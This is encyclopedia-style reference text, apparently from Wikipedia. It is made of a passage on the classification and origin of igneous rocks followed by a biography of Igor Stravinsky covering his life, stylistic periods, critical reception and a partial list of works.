          For volcanic rocks, mineralogy is important in classifying and naming lavas. The most important criterion is the phenocryst species, followed by the groundmass mineralogy. Often, where the groundmass is aphanitic, chemical classification must be used to properly identify a volcanic rock.


          Mineralogic contents - felsic versus mafic


          
            	felsic rock, highest content of silicon, with predominance of quartz, alkali feldspar and/or feldspathoids: the felsic minerals; these rocks (e.g., granite, rhyolite) are usually light coloured, and have low density.


            	mafic rock, lesser content of silicon relative to felsic rocks, with predominance of mafic minerals pyroxenes, olivines and calcic plagioclase; these rocks (example, basalt, gabbro) are usually dark coloured, and have a higher density than felsic rocks.


            	ultramafic rock, lowest content of silicon, with more than 90% of mafic minerals (e.g., dunite).

          


          For intrusive, plutonic and usually phaneritic igneous rocks where all minerals are visible at least via microscope, the mineralogy is used to classify the rock. This usually occurs on ternary diagrams, where the relative proportions of three minerals are used to classify the rock.


          The following table is a simple subdivision of igneous rocks according both to their composition and mode of occurrence.


          
            
              	

              	Composition
            


            
              	Mode of occurrence

              	Felsic

              	Intermediate

              	Mafic

              	Ultramafic
            


            
              	Intrusive

              	Granite

              	Diorite

              	Gabbro

              	Peridotite
            


            
              	Extrusive

              	Rhyolite

              	Andesite

              	Basalt

              	Komatiite
            

          


          
            
              	

              	Essential rock forming silicates
            


            
              	

              	Felsic

              	Intermediate

              	Mafic

              	Ultramafic
            


            
              	Coarse Grained

              	Granite

              	Diorite

              	Gabbro

              	Peridotite
            


            
              	Medium Grained

              	

              	

              	Diabase

              	
            


            
              	Fine Grained

              	Rhyolite

              	Andesite

              	Basalt

              	Komatiite
            

          


          For a more detailed classification see QAPF diagram.


          


          Example of classification


          Granite is an igneous intrusive rock (crystallized at depth), with felsic composition (rich in silica and predominately quartz plus potassium-rich feldspar plus sodium-rich plagioclase) and phaneritic, subeuhedral texture (minerals are visible to the unaided eye and commonly some of them retain original crystallographic shapes).


          


          Magma origination


          The Earth's crust averages about 35 kilometers thick under the continents, but averages only some 7-10 kilometers beneath the oceans. The continental crust is composed primarily of sedimentary rocks resting on crystalline basement formed of a great variety of metamorphic and igneous rocks including granulite and granite. Oceanic crust is composed primarily of basalt and gabbro. Both continental and oceanic crust rest on peridotite of the mantle.


          Rocks may melt in response to a decrease in pressure, to a change in composition such as an addition of water, to an increase in temperature, or to a combination of these processes.


          Other mechanisms, such as melting from impact of a meteorite, are less important today, but impacts during accretion of the Earth led to extensive melting, and the outer several hundred kilometers of our early Earth probably was an ocean of magma. Impacts of large meteorites in last few hundred million years have been proposed as one mechanism responsible for the extensive basalt magmatism of several large igneous provinces.


          


          Decompression


          Decompression melting which occurs because of a decrease in pressure. The solidus temperatures of most rocks (the temperatures below which they are completely solid) increase with increasing pressure in the absence of water. Peridotite at depth in the Earth's mantle may be hotter than its solidus temperature at some shallower level. If such rock rises during the convection of solid mantle, it will cool slightly as it expands in an adiabatic process, but the cooling is only about 0.3C per kilometer. Experimental studies of appropriate peridotite samples document that the solidus temperatures increase by 3C to 4C per kilometer. If the rock rises far enough, it will begin to melt. Melt droplets can coalesce into larger volumes and be intruded upwards. This process of melting from upward movement of solid mantle is critical in the evolution of the earth.


          Decompression melting creates the ocean crust at mid-ocean ridgess. Decompression melting caused by the rise of mantle plumes is responsible for creating ocean islands like the Hawaiian islands. Plume-related decompression melting also is the most common explanation for flood basalts and oceanic plateaus (two types of large igneous provinces), although other causes such as melting related to meteorite impact have been proposed for some of these huge volumes of igneous rock.


          


          Effects of water and carbon dioxide


          The change of rock composition most responsible for creation of magma is the addition of water. Water lowers the solidus temperature of rocks at a given pressure. For example, at a depth of about 100 kilometers, peridotite begins to melt near 800C in the presence of excess water, but near or above about 1500C in the absence of water. Water is driven out of the oceanic lithosphere in subduction zones, and it causes melting in the overlying mantle. Hydrous magmas of basalt and andesite composition are produced directly and indirectly as results of dehydration during the subduction process. Such magmas and those derived from them build up island arcs such as those in the Pacific ring of fire. These magmas form rocks of the calc-alkaline series, an important part of continental crust.


          The addition of carbon dioxide is relatively a much less important cause of magma formation than addition of water, but genesis of some silica-undersaturated magmas has been attributed to the dominance of carbon dioxide over water in their mantle source regions. In the presence of carbon dioxide, experiments document that the peridotite solidus temperature decreases by about 200C in a narrow pressure interval at pressures corresponding to a depth of about 70 km. At greater depths, carbon dioxide can have more effect: at depths to about 200 km, the temperatures of initial melting of a carbonated peridotite composition were determined to be 450C to 600C lower than for the same composition with no carbon dioxide. Magmas of rock types such as nephelinite, carbonatite, and kimberlite are among those that may be generated following an influx of carbon dioxide into mantle at depths greater than about 70 km.


          


          Temperature increase


          Increase of temperature is the most typical mechanism for formation of magma within continental crust. Such temperature increases can occur because of the upward intrusion of magma from the mantle. Temperatures can also exceed the solidus of a crustal rock in continental crust thickened by compression at a plate boundary. The plate boundary between the Indian and Asian continental masses provides a well-studied example, as the Tibetan Plateau just north of the boundary has crust about 80 kilometers thick, roughly twice the thickness of normal continental crust. Studies of electrical resistivity deduced from magnetotelluric data have detected a layer that appears to contain silicate melt and that stretches for at least 1000 kilometers within the middle crust along the southern margin of the Tibetan Plateau. Granite and rhyolite are types of igneous rock commonly interpreted as products of melting of continental crust because of increases of temperature. Temperature increases also may contribute to the melting of lithosphere dragged down in a subduction zone.


          


          Magma evolution


          Most magmas are only entirely melt for small parts of their histories. More typically, they are mixes of melt and crystals, and sometimes also of gas bubbles. Melt, crystals, and bubbles usually have different densities, and so they can separate as magmas evolve.


          As magma cools, minerals typically crystallize from the melt at different temperatures ( fractional crystallization). As minerals crystallize, the composition of the residual melt typically changes. If crystals separate from melt, then the residual melt will differ in composition from the parent magma. For instance, a magma of gabbroic composition can produce a residual melt of granitic composition if early formed crystals are separated from the magma. Gabbro may have a liquidus temperature near 1200C, and derivative granite-composition melt may have a liquidus temperature as low as about 700C. Incompatible elements are concentrated in the last residues of magma during fractional crystallization and in the first melts produced during partial melting: either process can form the magma that crystallizes to pegmatite, a rock type commonly enriched in incompatible elements. Bowen's reaction series is important for understanding the idealised sequence of fractional crystallisation of a magma.


          Magma composition can be determined by processes other than partial melting and fractional crystallization. For instance, magmas commonly interact with rocks they intrude, both by melting those rocks and by reacting with them. Magmas of different compositions can mix with one another. In rare cases, melts can separate into two immiscible melts of contrasting compositions.


          There are relatively few minerals that are important in the formation of common igneous rocks, because the magma from which the minerals crystallize is rich in only certain elements: silicon, oxygen, aluminium, sodium, potassium, calcium, iron, and magnesium. These are the elements which combine to form the silicate minerals, which account for over ninety percent of all igneous rocks. The chemistry of igneous rocks is expressed differently for major and minor elements and for trace elements. Contents of major and minor elements are conventionally expressed as weight percent oxides (e.g., 51% SiO2, and 1.50% TiO2). Abundances of trace elements are conventionally expressed as parts per million by weight (e.g., 420 ppm Ni, and 5.1 ppm Sm). The term "trace element" typically is used for elements present in most rocks at abundances less than 100 ppm or so, but some trace elements may be present in some rocks at abundances exceeding 1000 ppm. The diversity of rock compositions has been defined by a huge mass of analytical data -- over 230,000 rock analyses can be accessed on the web through a site sponsored by the U. S. National Science Foundation (see the External Link to EarthChem).


          


          Etymology


          The word "igneous" is derived from the Latin igneus, meaning "of fire". Volcanic rocks are named after Vulcan, the Roman name for the god of fire.

          Intrusive rocks are also called plutonic rocks, named after Pluto, the Roman god of the underworld.
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          Igor Fyodorovich Stravinsky (Russian: Игорь Фёдорович Стравинский, Igor' Fjodorovič Stravinskij) ( June 17, 1882  April 6, 1971) was a Russian composer, considered by many in both the West and his native land to be the most influential composer of 20th century music. He was a quintessentially cosmopolitan Russian who was named by Time magazine as one of the 100 most influential people of the century. In addition to the recognition he received for his compositions, he also achieved fame as a pianist and a conductor, often at the premires of his works.


          Stravinsky's compositional career was notable for its stylistic diversity. He first achieved international fame with three ballets commissioned by the impresario Sergei Diaghilev and performed by Diaghilev's Ballets Russes (Russian Ballets): L'Oiseau de feu ("The Firebird") (1910), Petrushka (1911/1947), and Le Sacre du printemps ("The Rite of Spring") (1913). The Rite, whose premire provoked a riot, transformed the way in which subsequent composers thought about rhythmic structure; to this day its vision of pagan rituals, enacted in an imaginary ancient Russia continues to dazzle and overwhelm audiences.


          After this first Russian phase Stravinsky turned to neoclassicism in the 1920s. The works from this period tended to make use of traditional musical forms ( concerto grosso, fugue, symphony), frequently concealed a vein of intense emotion beneath a surface appearance of detachment or austerity, and often paid tribute to the music of earlier masters, for example J. S. Bach and Tchaikovsky.


          In the 1950s he adopted serial procedures, using the new techniques over his last twenty years. Stravinsky's compositions of this period share traits with all of his earlier output: rhythmic energy, the construction of extended melodic ideas out of a few two- or three-note cells, and clarity of form, of instrumentation, and of utterance.


          He also published a number of books throughout his career, almost always with the aid of a collaborator, sometimes uncredited. In his 1936 autobiography, Chronicles of My Life, written with the help of Alexis Roland-Manuel, Stravinsky included his infamous statement that "music is, by its very nature, essentially powerless to express anything at all." With Roland-Manuel and Pierre Souvtchinsky he wrote his 193940 Harvard University Charles Eliot Norton Lectures, which were delivered in French and later collected under the title Potique musicale in 1942 (translated in 1947 as Poetics of Music). Several interviews in which the composer spoke to Robert Craft were published as Conversations with Igor Stravinsky They collaborated on five further volumes over the following decade.


          


          Biography


          


          Russia


          Stravinsky was born in Oranienbaum (renamed Lomonosov in 1948), Russia and brought up in Saint Petersburg, to a Catholic Polish father and a Russian mother. His childhood, he recalled in his autobiography, was troubled: "I never came across anyone who had any real affection for me." His father, Fyodor Stravinsky, was a bass singer at the Mariinsky Theatre in Saint Petersburg, and the young Stravinsky began piano lessons and later studied music theory and attempted some composition. In 1890, Stravinsky saw a performance of Tchaikovsky's ballet The Sleeping Beauty at the Mariinsky Theatre; the performance, his first exposure to an orchestra, mesmerized him. At fourteen, he had mastered Mendelssohn's Piano Concerto in G minor, and the next year, he finished a piano reduction of one of Alexander Glazunov's string quartets.


          Despite his enthusiasm for music, his parents expected him to become a lawyer. Stravinsky enrolled to study law at the University of Saint Petersburg in 1901, but was ill-suited for it, attending fewer than fifty class sessions in four years. After the death of his father in 1902, he had already begun spending more time on his musical studies. Because of the closure of the university in the spring of 1905, in the aftermath of Bloody Sunday, Stravinsky was prevented from taking his law finals, and received only a half-course diploma, in April 1906. Thereafter, he concentrated on music. On the advice of Nikolai Rimsky-Korsakov, probably the leading Russian composer of the time, he decided not to enter the Saint Petersburg Conservatoire; instead, in 1905, he began to take twice-weekly private tutelage from Rimsky-Korsakov, who became like a second father to him.


          In 1905 he was betrothed to his cousin Katerina Nossenko, whom he had known since early childhood. They were married on 23 January 1906, and their first two children, Fyodor and Ludmilla, were born in 1907 and 1908 respectively.


          In 1909, his Feu d'artifice (Fireworks), was performed in Saint Petersburg, where it was heard by Sergei Diaghilev, the director of the Ballets Russes in Paris. Diaghilev was sufficiently impressed to commission Stravinsky to carry out some orchestrations, and then to compose a full-length ballet score, L'Oiseau de feu (The Firebird).


          


          Switzerland
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          Stravinsky travelled to Paris in 1910 to attend the premiere of The Firebird. His family soon joined him, and decided to remain in the West for a time. He moved to Switzerland, where he lived until 1920 in Clarens and Lausanne. During this time he composed three further works for the Ballets Russes Petrushka (1911), written in Lausanne, and Le Sacre du printemps (The Rite of Spring) (1913) and Pulcinella, both written in Clarens.


          While the Stravinskys were in Switzerland, their second son, Soulima (who later became a minor composer), was born in 1910; and their second daughter, Maria Milena, was born in 1913. During this last pregnancy, Katerina was found to have tuberculosis, and she was placed in a Swiss sanatorium for her confinement. After a brief return to Russia in July 1914 to collect research materials for Les Noces, Stravinsky left his homeland and returned to Switzerland just before the outbreak of World War I brought about the closure of the borders. He was not to return to Russia for nearly fifty years. Stravinsky was one of the few Eastern Orthodox or Russian Orthodox community representatives living in Switzerland at that time and is still remembered as such in Switzerland to date.


          


          France


          He moved to France in 1920, where he formed a business and musical relationship with the French piano manufacturer Pleyel. Essentially, Pleyel acted as his agent in collecting mechanical royalties for his works, and in return provided him with a monthly income and a studio space in which to work and to entertain friends and business acquaintances. He also arranged, one might say re-composed, many of his early works for the Pleyela, Pleyel's brand of player piano, in a way that makes full use of the piano's 88 notes, without regard for the number or span of human fingers and hands. These were not recorded rolls, but were instead marked up from a combination of manuscript fragments and handwritten notes by the French musician, Jacques Larmanjat, who was the musical director of Pleyel's roll department. Stravinsky later claimed that his intention had been to give listeners a definitive version of the performances of his music, but since the rolls were not recordings, it is difficult to see how effective this intention could have been in practice. While many of these works are now part of the standard repertoire, at the time many orchestras found his music beyond their capabilities and unfathomable. Major compositions issued on Pleyela piano rolls include The Rite of Spring, Petrushka, Firebird, Les Noces and Song of the Nightingale. During the 1920s he also recorded Duo-Art rolls for the Aeolian Company in both London and New York, not all of which survive.


          After a short stay near Paris, he moved with his family to the south of France; he returned to Paris in 1934, to live at the rue Faubourg St.-Honor. Stravinsky later remembered this as his last and unhappiest European address; his wife's tuberculosis infected his eldest daughter Ludmila, and Stravinsky himself. Ludmila died in 1938, Katerina in the following year. While Stravinsky was in hospital, where he was treated for five months, his mother also died. Stravinsky already had contacts in the United States; he was working on the Symphony in C for the Chicago Symphony Orchestra, and had agreed to lecture in Harvard during the academic year of 1939-40. When World War II broke out in September, he set out for the United States.


          Although his marriage to Katerina endured for 33 years, the true love of his life, and later his partner until his death, was his second wife Vera de Bosset (1888-1982). When Stravinsky met Vera in Paris in February 1921, she was married to the painter and stage designer Serge Sudeikin, but they soon began an affair which led to her leaving her husband. From then until Katerina's death from cancer in 1939, Stravinsky led a double life, spending some of his time with his first family and the rest with Vera. Katerina soon learned of the relationship and accepted it as inevitable and permanent. Around this time both left France for the USA, to escape World War II (Stravinsky in 1939 after Katerina's death, Vera following in 1940). Stravinsky and Vera were married in Bedford, MA, USA, on 9 March 1940.


          


          America


          At first Stravinsky took up residence in Hollywood, but he moved to New York in 1969. He continued to live in the United States until his death in 1971; he became a naturalized citizen in 1945. Stravinsky had adapted to life in France, but moving to America at the age of 58 was a very different prospect. For a time, he preserved a ring of emigr Russian friends and contacts, but eventually found that this did not sustain his intellectual and professional life. He was drawn to the growing cultural life of Los Angeles, especially during World War II, when so many writers, musicians, composers, and conductors settled in the area; these included Otto Klemperer, Thomas Mann, Franz Werfel, George Balanchine and Arthur Rubinstein. He lived fairly near to Arnold Schoenberg, though he did not have a close relationship with him. Bernard Holland notes that he was especially fond of British writers who often visited him in Beverly Hills, "like W. H. Auden, Christopher Isherwood, Dylan Thomas (who shared the composer's taste for hard spirits) and, especially, Aldous Huxley, with whom Stravinsky spoke in French." He settled into life in Los Angeles and sometimes conducted concerts with the Los Angeles Philharmonic at the famous Hollywood Bowl as well as throughout the U.S. When he planned to write an opera with W. H. Auden, the need to acquire more familiarity with the English-speaking world coincided with his meeting the conductor and musicologist Robert Craft. Craft lived with Stravinsky until the composer's death, acting as interpreter, chronicler, assistant conductor, and factotum for countless musical and social tasks.


          In 1962, Stravinsky accepted an invitation to return to Saint Petersburg (Leningrad) for a series of concerts. He spent more than two hours speaking with Soviet leader Nikita Khrushchev, who urged him to return to the Soviet Union. Despite the invitation, Stravinsky remained settled in the West. In the last few years of his life, Stravinsky lived at Essex House in New York City.
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          He died at the age of 88 in New York City and was buried in Venice on the cemetery island of San Michele. His grave is close to the tomb of his long-time collaborator Diaghilev. Stravinsky's professional life had encompassed most of the 20th century, including many of its modern classical music styles, and he influenced composers both during and after his lifetime. He has a star on the Hollywood Walk of Fame at 6340 Hollywood Boulevard and posthumously received the Grammy Award for Lifetime Achievement in 1987.


          


          Personality


          Stravinsky displayed an inexhaustible desire to explore and learn about art, literature, and life. This desire manifested itself in several of his Paris collaborations. Not only was he the principal composer for Sergei Diaghilev's Ballets Russes, but he also collaborated with Pablo Picasso ( Pulcinella, 1920), Jean Cocteau (Oedipus Rex, 1927) and George Balanchine ( Apollon musagte, 1928). His taste in literature was wide, and reflected his constant desire for new discoveries. The texts and literary sources for his work began with a period of interest in Russian folklore, progressed to classical authors and the Latin liturgy, and moved on to contemporary France ( Andr Gide, in Persephone) and eventually English literature, including Auden, T. S. Eliot and medieval English verse. At the end of his life, he set Hebrew scripture in Abraham and Isaac.
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          Patronage was never far away. In the early 1920s, Leopold Stokowski gave Stravinsky regular support through a pseudonymous "benefactor". The composer was also able to attract commissions: most of his work from The Firebird onwards was written for specific occasions and was paid for generously.


          Stravinsky proved adept at playing the part of "man of the world", acquiring a keen instinct for business matters and appearing relaxed and comfortable in many of the world's major cities. Paris, Venice, Berlin, London and New York City all hosted successful appearances as pianist and conductor. Most people who knew him through dealings connected with performances spoke of him as polite, courteous and helpful. For example, Otto Klemperer, who knew Arnold Schoenberg well, said that he always found Stravinsky much more co-operative and easy to deal with. At the same time, he had a marked disregard for those he perceived to be his social inferiors: Robert Craft was embarrassed by his habit of tapping a glass with a fork and loudly demanding attention in restaurants.


          Although a notorious philanderer (who was rumoured to have affairs with high-profile partners such as Coco Chanel), Stravinsky was also a family man who devoted considerable amounts of his time and expenditure to his sons and daughters.


          


          Stylistic periods


          Stravinsky's career may be divided roughly into three stylistic periods.


          


          Nationalism


          The first period (excluding some early minor works) began with Feu d'artifice and achieved prominence with the three ballets composed for Diaghilev. These three works have several characteristics in common: they are scored for an extremely large orchestra; they use Russian folk themes and motifs; and they are influenced by Rimsky-Korsakov's imaginative scoring and instrumentation. They also exhibit considerable stylistic development: from the L'oiseau de feu, which emphasizes certain tendencies in Rimsky-Korsakov and features pandiatonicism conspicuously in the third movement, to the use of polytonality in Petrushka, and the intentionally brutal polyrhythms and dissonances of Le Sacre du printemps.


          The first of the ballets, L'Oiseau de feu, is noted for its imaginative orchestration, evident at the outset from the introduction in 12/8 time, which exploits the low register of the double bass. Petrushka, the first of Stravinsky's ballets to draw on folk mythology, is also distinctively scored. In the third ballet, The Rite of Spring, the composer attempted to depict musically the brutality of pagan Russia, which inspired the violent motifs that recur throughout the work. Once again, Stravinsky's originality is evident: the opening theme, played on a bassoon at the very top of its register, has become one of the most famous passages in classical music, as has the pulsing syncopated eighth-note motif in the strings, its accents marked by horn.


          If Stravinsky's stated intention was "to send them all to hell", then he may have rated the 1913 premire of Le sacre du printemps as a success: it is among the most famous classical music riots, and Stravinsky referred to it frequently as a "scandale" in his autobiography. There were reports of fistfights among the audience, and the need for a police presence during the second act. The real extent of the tumult, however, is open to debate, and these reports may be apocryphal.


          Stravinsky later commented about the premire of The Rite: "As for the actual performance, I am not in a position to judge, as I left the auditorium at the first bars of the prelude, which had at once evoked derisive laughter. I was disgusted. These demonstrations, at first isolated, soon became general, provoking counter-demonstrations and very quickly developing into a terrific uproar. During the whole performance I was at Nijinsky's side in the wings. He was standing on a chair, screaming 'Sixteen, seventeen, eighteen'--they had their own method of counting to keep time. Naturally the poor dancers could hear nothing by reason of the row in the auditorium and the sound of their own dance-steps. I had to hold Nijinsky by his clothes, for he was furious, and ready to dash on to the stage at any moment and create a scandal. Diaghilev kept ordering the electricians to turn the lights on or off, hoping in that way to put a stop to the noise. That is all I can remember about that first performance."


          Other pieces from this period include: Le Rossignol (The Nightingale); Renard (1916); Histoire du soldat (The Soldier's Tale) (1918); and Les Noces (The Wedding) (1923).


          


          Neoclassical


          The next phase of Stravinsky's compositional style extended from roughly 1920 to about 1950. Pulcinella (1920) and the Octet (1923) for wind instruments are Stravinsky's first compositions to feature his re-examination of the classical music of Mozart and Bach and their contemporaries. For this " neo-classical" style Stravinsky abandoned the large orchestras demanded by the ballets, and turned instead largely to wind instruments, the piano, and choral and chamber works.


          Other works such as Oedipus Rex (1927), Apollon musagte (1928, for the Russian Ballet) and the Dumbarton Oaks Concerto (193738) continued this re-thinking of eighteenth-century musical styles.


          Works from this period include the three symphonies: the Symphonie des Psaumes (Symphony of Psalms) (1930), Symphony in C (1940) and Symphony in Three Movements (1945). Apollon, Persephone (1933) and Orpheus (1947) exemplify not only Stravinsky's return to music of the Classical period, but also his exploration of themes from the ancient Classical world such as Greek mythology.


          Stravinsky completed his last neo-classical work, the opera The Rake's Progress, in 1951, to a libretto by W. H. Auden based on the etchings of Hogarth. It was almost ignored after it was staged by the Metropolitan Opera in 1953. It was presented by the Santa Fe Opera in its first season in 1957 with Stravinsky in attendance, and this marked the beginning of his long association with the company. The music is direct but quirky; it borrows from classic tonal harmony but also interjects surprising dissonances; it features Stravinsky's trademark off-rhythms; and it harks back to the operas and themes of Monteverdi, Gluck and Mozart. The opera was revived by the Metropolitan Opera in 1997.


          


          Serial


          Stravinsky began using dodecaphony, the twelve-tone technique originally devised by Arnold Schoenberg, in the early 1950s (after Schoenberg's death). Robert Craft encouraged this undertaking.


          He first experimented with non-twelve-tone serial technique in small-scale vocal and chamber works such as the Cantata (1952), Septet (1953), and Three Songs from Shakespeare (1953), and his first composition to be fully based on these non-twelve-tone serial techniques is In Memoriam Dylan Thomas (1954). Agon (195457) is his first work to include a twelve-tone series, and Canticum Sacrum (1955) is his first piece to contain a movement entirely based on a tone row ("Surge, aquilo"). Stravinsky later expanded his use of dodecaphony in works including Threni (1958), A Sermon, a Narrative, and a Prayer (1961), and The Flood (1962), which are based on biblical texts.


          Agon, written from 1954 to 1957, is a ballet choreographed for twelve dancers. It is an important transitional composition between Stravinsky's neo-classical period and his serial style. Some numbers of Agon are reminiscent of the "white-note" tonality of the his neo-classic period, while others (for example Bransle Gay) display his re-interpretation of serial methods.


          


          Innovation and influence


          "One of music's truly epochal innovators", the most important aspect of Stravinsky's work aside from his technical innovations, including in rhythm and harmony, is the, "changing face," of his compositional style while always, "retaining a distinctive, essential identity". He himself was inspired by different cultures, languages and literatures. As a consequence, his influence on composers both during his lifetime and after his death was, and remains, considerable. "No other composer of the twentieth century exerted such a pervasive influence or dominated his art in the way that Stravinsky did during his five-decade musical career".


          


          Composition


          Stravinsky's use of motivic development (the use of musical figures that are repeated in different guises throughout a composition or section of a composition) included additive motivic development. This is where notes are subtracted or added to a motif without regard to the consequent changes in meter. A similar technique may be found as early as the sixteenth century, for example in the music of Cipriano de Rore, Orlandus Lassus, Carlo Gesualdo, and Giovanni de Macque, music with which Stravinsky exhibited considerable familiarity.


          The Rite of Spring is also notable for its relentless use of ostinati; for example in the eighth note ostinato on strings accented by eight horns in the section Auguries of Spring (Dances of the Young Girls). The work also contains passages where several ostinati clash against one another.


          


          Rhythm


          Stravinsky was noted for his distinctive use of rhythm, especially in The Rite of Spring.


          According to Philip Glass:


          
            the idea of pushing the rhythms across the bar lines [...] led the way [...] the rhythmic structure of music became much more fluid and in a certain way spontaneous

          


          Glass also praises Stravinsky's "primitive, offbeat rhythmic drive".


          According to Andrew J. Browne, "Stravinsky is perhaps the only composer who has raised rhythm in itself to the dignity of art."


          Stravinsky's rhythm and vitality greatly influenced composer Aaron Copland.


          


          Neoclassicism


          Stravinsky's first neo-classical works were the ballet Pulcinella of 1920, and the stripped-down and delicately scored Octet for winds of 1923. Stravinsky may have been preceded in his use of neoclassical devices by earlier composers (such as Erik Satie).


          By the late 1920s and 1930s, the use by composers of neoclassicism had become widespread.


          


          Quotation


          Stravinsky continued a long tradition, stretching back at least to the fifteenth century in the form of the quodlibet and parody mass, by composing pieces which elaborate on individual works by earlier composers. An early example of this is his Pulcinella of 1920, in which he used music which at the time was attributed to Giovanni Pergolesi as source material, at times quoting it directly and at other times reinventing it. He developed the technique further in the ballet The Fairy's Kiss of 1928, based on the musicmostly piano piecesof Tchaikovsky. Later examples of comparable musical transformations include Stravinsky's use of Schubert in Circus Polka (1942) and Happy Birthday to You in Greeting Prelude (1955).


          


          Folk material


          In Le Sacre du Printemps Stravinsky stripped folk themes to their most basic melodic outlines, and often contorted them beyond recognition with added notes, and other techniques including inversion and diminution. Only in recent scholarship, such as described in Richard Taruskin's Stravinsky and the Russian Traditions, have analysts uncovered the original source material for some of the music in The Rite.


          


          Orchestra


          Like many of the late romantic composers, Stravinsky often called for huge orchestral forces, especially in the early ballets. His first breakthrough The Firebird proved him the equal of Nikolai Rimsky-Korsakov and lit the "fuse under the instrumental make up of the 19th century orchestra". In The Firebird he took the orchestra apart and analyzed it. The Rite of Spring on the other hand has been characterized by Aaron Copland as the foremost orchestral achievement in 20th century.


          Stravinsky also wrote for unique combinations of instruments in smaller ensembles, chosen for their precise tone colours. For example, Histoire du soldat (The Soldier's Tale) is scored for clarinet, bassoon, cornet, trombone, violin, double bass and percussion, a strikingly unusual combination for 1918.


          Stravinsky occasionally exploited the extreme ranges of instruments, most famously at the opening of the Rite of Spring where Stravinsky uses the extreme upper reaches of the bassoon to simulate the symbolic "awakening" of a spring morning.


          


          Reception


          


          Unfavorable criticism


          Erik Satie wrote an article about Igor Stravinsky that was published in Vanity Fair (1922). Satie had met Stravinsky for the first time in 1910. Satie's attitude towards the Russian composer is marked by deference, as can be seen from the letters he wrote him in 1922, preparing for the Vanity Fair article. With a touch of irony, he concluded one of these letters "I admire you: are you not the Great Stravinsky? I am but little Erik Satie." In the published article, Satie argued that measuring the "greatness" of an artist by comparing him to other artists, as if speaking about some "truth", is illusory: every piece of music should be judged on its own merits, not by comparing it to the standards of other composers. That was exactly what Jean Cocteau had done, when commenting deprecatingly on Stravinsky in his 1918 book Le Coq et l'Arlequin.


          
            All the signs indicate a strong reaction against the nightmare of noise and eccentricity that was one of the legacies of the war.... What has become of the works that made up the program of the Stravinsky concert which created such a stir a few years ago? Practically the whole lot are already on the shelf, and they will remain there until a few jaded neurotics once more feel a desire to eat ashes and fill their belly with the east wind.|

          


          In 1935, American composer Marc Blitzstein compared Stravinsky to Jacopo Peri and C. P. E. Bach, conceding that "There is no denying the greatness of Stravinsky. It is just that he is not great enough". Blitzstein's Marxist position is that Stravinsky's wish was to "divorce music from other streams of life," which is "symptomatic of an escape from reality", resulting in a "loss of stamina his new works show", naming specifically Apollo, the Capriccio, and Le Baiser de la fe.


          Composer Constant Lambert described pieces such as Histoire du soldat (The Soldier's Tale) as containing "essentially cold-blooded abstraction". Lambert continued, "melodic fragments in Histoire du Soldat are completely meaningless themselves. They are merely successions of notes that can conveniently be divided into groups of three, five, and seven and set against other mathematical groups", and he described the cadenza for solo drums as "musical purity...achieved by a species of musical castration". He compared Stravinsky's choice of "the drabbest and least significant phrases" to Gertrude Stein's: "Everyday they were gay there, they were regularly gay there everyday" ("Helen Furr and Georgine Skeene", 1922), "whose effect would be equally appreciated by someone with no knowledge of English whatsoever".


          In his book Philosophy of Modern Music (1949), Theodor Adorno called Stravinsky an acrobat, a civil servant, a tailor's dummy, hebephrenic, psychotic, infantile, fascist, and devoted to making money. Part of the composer's error, in Adorno's view, was his neo-classicism, but more important was his music's "pseudomorphism of painting," playing off le temps espace (time-space) rather than le temps dure (time-duration) of Henri Bergson. "One trick characterizes all of Stravinsky's formal endeavors: the effort of his music to portray time as in a circus tableau and to present time complexes as though they were spatial. This trick, however, soon exhausts itself." His "rhythmic procedures closely resemble the schema of catatonic conditions. In certain schizophrenics, the process by which the motor apparatus becomes independent leads to infinite repetition of gestures or words, following the decay of the ego."


          Stravinsky's reception in Russia and the USSR went back and forth. Performances of his music stopped from around 1933 until the early 1960s, at which point the official position became that one must appreciate Stravinsky.


          


          Favorable criticism


          According to Paul Griffith's The Rake's Progress "gives justification in terms of human psychology, and of the realities of the world, for that obsessional need to repeat and return".


          While Stravinsky's music has been criticized for its range of styles scholars had, "gradually begun to perceive unifying elements in Stravinsky's music," by the 1980s including a, "'seriousness' of 'tone' or of 'purpose'".


          


          Awards


          
            	Sonning Award (1959; Denmark)

          


          


          Recordings


          Igor Stravinsky found recordings to be a practical and useful tool in preserving his own thoughts on the interpretation of his music. As a conductor of his own music, he recorded primarily for Columbia Records, beginning in 1928 with a performance of the original suite from The Firebird and concluding in 1967 with the 1945 suite from the same ballet. In the late 1940s, he made several recordings for RCA Victor at the Republic Studios in Los Angeles. Although most of his recordings were made with studio musicians, he also worked with the Chicago Symphony Orchestra, the Cleveland Orchestra, the CBC Symphony Orchestra, the New York Philharmonic Orchestra, and the Royal Philharmonic Orchestra.


          List of works


          Although Stravinsky is best known for his stage works, in particular his ballets, his compositions cover a diverse range of musical forms.


          


          Opera/theatre


          
            
              Opera/Theatre
            

            
              	Work

              	Publishing date
            


            
              	Le Rossignol (The Nightingale) (190809, 191314)

              	1923
            


            
              	Renard, a burlesque for 4 pantomimes and Chamber Orchestra (191516)

              	1917
            


            
              	L'Histoire du soldat (The Soldier's Tale), for chamber ensemble and three speakers (1918)

              	1924
            


            
              	Mavra (1922)

              	1925
            


            
              	Oedipus rex (192627)

              	1927
            


            
              	Persphone, for speaker, soloists, chorus and orchestra (193334)

              	1934
            


            
              	The Rake's Progress (194751)

              	1951
            


            
              	The Flood (196162)

              	1963
            

          


          


          Ballet


          
            	L'Oiseau de feu (The Firebird) (190910, rev. 1919)


            	Petrushka (191011, rev. 1946)


            	Le Sacre du printemps (The Rite of Spring) (191113)


            	Pulcinella, for chamber orchestra and soloists (191920)


            	Les Noces (The Wedding), for soloists, choir, four pianos and percussion (191417/2123)


            	Apollon musagte, for string orchestra (192728)


            	The Fairy's Kiss (Le baiser de la fe) (1928, rev. 1950)


            	Jeu de cartes (Card Game) (1936)


            	Scnes de ballet (1944)


            	Apollo, for string orchestra (revision of Apollon musagte) (1947)


            	Orpheus, for chamber orchestra (1947)


            	Agon, for chamber orchestra (195357)

          


          


          Orchestral


          
            	Symphony in E-Flat Major (1907)


            	Scherzo fantastique (1908)


            	Feu d'artifice (Fireworks) (1908)


            	Le Chant du rossignol (Song of the Nightingale) (1917)


            	Symphonies of Wind Instruments (1920)


            	Suite from Pulcinella (1920)


            	Suite No. 2 for chamber orchestra (1921)


            	Suite No. 1 for chamber orchestra (1925)


            	Quatre tudes, for orchestra (1928)


            	Divertimento (Suite from Le ------ de la Fe, 1934)


            	Concerto in E-flat Dumbarton Oaks, for chamber orchestra (1938)


            	Symphony in C (1940)


            	Circus Polka for orchestra (1942)


            	Danses concertantes for chamber orchestra (1942)


            	Four Norwegian Moods for orchestra (1942)


            	Ode for orchestra (1943)


